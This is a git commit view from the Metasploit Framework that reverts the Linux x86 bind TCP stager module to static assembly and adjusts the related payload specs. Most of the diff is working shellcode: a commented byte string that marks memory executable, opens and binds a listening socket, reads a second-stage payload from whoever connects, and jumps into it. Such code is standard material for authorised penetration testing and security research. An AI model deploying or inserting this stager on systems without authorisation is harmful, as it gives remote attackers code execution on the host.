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rollback linux bind_tcp stager metasm port

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The new metasm port of the linux bind_tcp stager doesn't yet generate valid
executables. While we're debugging the problem, this reverts the bind_tcp.rb
stager to use the static ASM again.
This commit is contained in:
Brent Cook 2015-05-06 09:22:47 -05:00
parent b862d24f0a
commit 3c2e6bb698
2 changed files with 71 additions and 11 deletions
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78
modules/payloads/stagers/linux/x86/bind_tcp.rb
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@ -6,26 +6,86 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/linux/bind_tcp'
module Metasploit4
CachedSize = :dynamic
###
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module Metasploit3
CachedSize = 79
include Msf::Payload::Stager
include Msf::Payload::Linux::BindTcp
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager (Linux x86)',
'Description' => 'Listen for a connection (Linux x86)',
'Author' => [ 'skape', 'egypt', ],
'Name' => 'Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => [
'skape', # original
'egypt', # NX support
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => true }
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 0x29, 'n' ],
},
'Payload' =>
"\x6a\x7d" +# push byte +0x7d
"\x58" +# pop eax
"\x99" +# cdq
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
"\xcd\x80" +# int 0x80
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x5e" +# pop esi
"\x52" +# push edx
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x6a\x10" +# push byte +0x10
"\x51" +# push ecx
"\x50" +# push eax
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\xcd\x80" +# int 0x80
"\xd1\xe3" +# shl ebx,1
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x43" +# inc ebx
"\xb0\x66" +# mov al,0x66
"\x89\x51\x04" +# mov [ecx+0x4],edx
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\x89\xdf" +# mov edi,ebx
"\xff\xe1" # jmp ecx
}
))
end

4
spec/modules/payloads_spec.rb
View File

@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do
'stagers/linux/x86/bind_tcp',
'stages/linux/x86/meterpreter'
],
dynamic_size: true,
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/x86/meterpreter/bind_tcp'
end
@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do
'stagers/linux/x86/bind_tcp',
'stages/linux/x86/shell'
],
dynamic_size: true,
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/x86/shell/bind_tcp'
end